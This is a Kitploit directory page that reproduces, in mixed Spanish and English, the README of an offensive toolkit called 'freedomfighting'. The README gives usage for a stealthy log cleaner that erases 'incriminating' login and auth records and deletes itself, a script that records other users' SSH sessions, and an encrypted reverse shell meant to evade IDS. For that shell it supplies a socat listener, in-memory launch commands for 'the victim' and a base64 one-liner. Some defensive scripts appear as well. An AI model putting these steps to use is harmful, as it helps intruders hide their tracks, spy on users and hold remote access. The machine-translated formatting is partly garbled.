Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
freedomfighting — Una colección de scripts que pueden ser útiles durante tus actividades de lucha por la libertad. | Kitploit
Herramientas/GitHubGitHub/justicerage/freedomfighting
ReconocimientoHerramientas de Cifrado/DescifradoAnálisis ForenseRecopilación de InformaciónPost-ExplotaciónSeguridad WebPruebas de PenetraciónRed TeamingCrawlerHerramienta de Acceso RemotoAnálisis de Registros
41868hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
justicerage/freedomfighting

freedomfighting

Una colección de scripts que pueden ser útiles durante tus actividades de lucha por la libertad.

Ver Repositorio
Compartir

Scripts de lucha por la libertad

Este repositorio contiene scripts que pueden ser útiles durante tus actividades de lucha por la libertad. Se actualizará ocasionalmente, cuando me encuentre en necesidad de algo que no pueda encontrar en línea. Todo aquí se distribuye bajo los términos de la Licencia GPL v3.

Las contribuciones y solicitudes de pull son muy bienvenidas.

Tabla de contenidos

  • nojail.py, un limpiador de registros en Python.
  • share.sh, un script seguro para compartir archivos.
  • autojack.py, un registrador de terminal.
  • listurl.py, un mapeador de sitios.
  • ersh.py, una shell inversa encriptada.
  • boot_check.py, un script para detectar ataques de "evil maid".
  • notify_hook.py, una forma de activar alertas cuando se llaman a algunos binarios en un sistema.
  • Misceláneo (contacto y donaciones)

nojail.py

Un limpiador de registros que elimina entradas incriminatorias en:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (controla la salida de los comandos who, w y last)
  • /var/log/lastlog (controla la salida del comando lastlog)
  • /var/**/*.log (incluye .log.1, .log.2.gz, etc.)
  • Cualquier archivo o carpeta adicional designada por el usuario

Las entradas se eliminan basándose en una dirección IP y/o nombre de host asociado.

Se tiene especial cuidado para no romper los descriptores de archivo mientras se manipulan los registros. Esto significa que los logs continúan escribiéndose después de haber sido manipulados, haciendo que la limpieza sea mucho menos notoria. Todo el trabajo se realiza en una unidad tmpfs y cualquier archivo creado se borra de forma segura.

Advertencia: El script solo se ha probado en Linux y no podrá limpiar entradas UTMP en otras variantes de Unix.

Uso:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

root@kitploit:~
 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
root@kitploit:~
Por defecto, si no se proporcionan argumentos, el script intentará determinar la dirección IP a limpiar basándose en la variable de entorno `SSH_CONNECTION`. Cualquier entrada que coincida con la DNS inversa de esa IP también será eliminada.

#### Ejemplo básico:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...eliminará todas las entradas para el usuario root donde la dirección IP sea 151.80.119.32 o el hostame sea manalyzer.org. El usuario también será preguntado antes de eliminar cada registro debido a la opción --check. Finalmente, el archivo /etc/app/logs/access.log será procesado además de todos los predeterminados.

Si se proporcionan carpetas como argumentos posicionales (/etc/app/logs/ por ejemplo), el script las recorrerá recursivamente y limpiará cualquier archivo con la extensión .log (*.log.1, *.log.2.gz, etc. incluidos).

Expresiones regulares

También es posible eliminar líneas arbitrarias del archivo de registro. Para hacerlo, use la opción --regexp. Por ejemplo, la siguiente línea de comando buscará todas las solicitudes POST a archivos PHP desde la IP especificada:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

root@kitploit:~
#### Demonizando el script```
./nojail.py --daemonize

Suponiendo que esto se ejecuta desde una conexión SSH, este comando eliminará todos los registros relacionados con la actividad del usuario actual con la dirección IP y el nombre de host detectados inmediatamente después de que se cierre la conexión. Este script posteriormente se eliminará automáticamente. Tenga en cuenta que no tendrá oportunidad de recibir mensajes de error de la aplicación. Se le recomienda intentar eliminar los registros una vez antes de iniciar el demonio para asegurarse de que los argumentos especificados sean correctos. Si se encuentra en un shell sin TTY, el script no podrá detectar cuándo finaliza la sesión. Se le notificará que los registros se eliminarán en 60 segundos y que debe cerrar sesión antes de ese momento (o corre el riesgo de crear más entradas después de que se haya ejecutado el script).

Salida de muestra:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

root@kitploit:~
### Descargo de responsabilidad  
Este script se proporciona sin garantías.  
No me culpe si no elimina todos los rastros de algo que no debió haber hecho en primer lugar.  

## share.sh  

Un script portátil y seguro para compartir archivos. Durante la lucha por la libertad, generalmente no es posible transferir archivos mediante scp a máquinas comprometidas. Se necesitan formas alternativas de subir archivos, pero la mayoría de los servicios de intercambio son demasiado restrictivos o no proporcionan una manera de recuperar archivos fácilmente desde la línea de comandos. Las consideraciones de seguridad también pueden impedir que las personas suban archivos sensibles a proveedores en la nube por temor a que conserven una copia para siempre.  

Este pequeño y portátil script de bash se basa en [transfer.sh](https://transfer.sh) para resolver ese problema. …  
* Cifra los archivos antes de subirlos (AES-256-CBC simétrico).  
* Utiliza automáticamente `torify` si está presente en el sistema para mayor anonimato.  

Las únicas dependencias necesarias son `openssl` y `curl` o `wget`.  

### Usage```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Los argumentos adicionales durante la subida permiten controlar el número máximo de descargas permitidas para el archivo (-m) y cuántos días transfer.sh lo conservará (-d). El valor predeterminado para ambas opciones es 1.

Advertencia: No uses espacios en la clave de cifrado, o solo se tomará en cuenta la primera palabra de tu contraseña. Esto se debe a la forma en que getopts maneja los argumentos (creo). Las solicitudes de extracción son bienvenidas si alguien está interesado en solucionarlo.

autojack.py

AutoJack es un breve script que aprovecha shelljack de EmptyMonkey para registrar la terminal de cualquier usuario que se conecte mediante SSH. Observa auth.log en busca de conexiones exitosas, averigua el PID del proceso bash del usuario y deja el resto en manos deshelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

root@kitploit:~
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Mapa de un sitio web obteniendo recursivamente todas sus URLs.

argumentos opcionales:
  -h, --help            Muestra este mensaje de ayuda y sale.
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        La profundidad máxima a recorrer (por defecto es 3).
  --threads THREADS, -t THREADS
                        El número de hilos a usar (por defecto es 10).
  --url URL, -u URL     La página desde la que comenzar.
  --external, -e        Seguir enlaces externos (por defecto es falso).
  --subdomains, -d      Incluir subdominios en el alcance (por defecto es falso).
  -c COOKIE, --cookie COOKIE
                        Añadir una cookie a la solicitud. Puede especificarse
                        varias veces. Ejemplo: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        Una expresión regular que coincida con URLs a ignorar. La
                        expresión dada no necesita coincidir con toda la URL,
                        solo una parte de ella.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        Una expresión regular que filtra los resultados mostrados.
                        La expresión dada se busca dentro de los resultados, no
                        tiene que coincidir con toda la URL. Ejemplo: \.php$
  --no-certificate-check, -n
                        Desactiva la verificación de certificados SSL.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        El archivo en el que se deben escribir las URLs obtenidas.
  --verbose, -v         Ser más verboso. Puede especificarse varias veces.```

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org [] Iniciado rastreo en profundidad 1. [] Iniciado rastreo en profundidad 2.... [] Iniciado rastreo en profundidad 3. [] URLs descubiertas: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

root@kitploit:~
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] Iniciado rastreo a profundidad 1.
   [*] Iniciado rastreo a profundidad 2...
   [*] Iniciado rastreo a profundidad 3.
   [*] URLs descubiertas:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] Comenzó el rastreo a profundidad 1. [] Comenzó el rastreo a profundidad 2.^C ¡Interrupción capturada! Espere unos segundos mientras los hilos se cierran... [*] URLs descubiertas: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a caja sin utilidades estándar ni herramientas de compilación, y sin una forma fácil de subir binarios? ¿Tienes miedo de que un IDS detecte una shell saliente? ¿Cerraste accidentalmente tu listener de netcat porque presionaste ^C? No sufras más.ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

root@kitploit:~
###############################################################################
# EDITA LOS PARÁMETROS DEBAJO DE ESTA LÍNEA
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

root@kitploit:~
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@kitploit:~
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@kitploit:~
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#```

And on the receiver again:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

root@kitploit:~
ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)
Descargar herramienta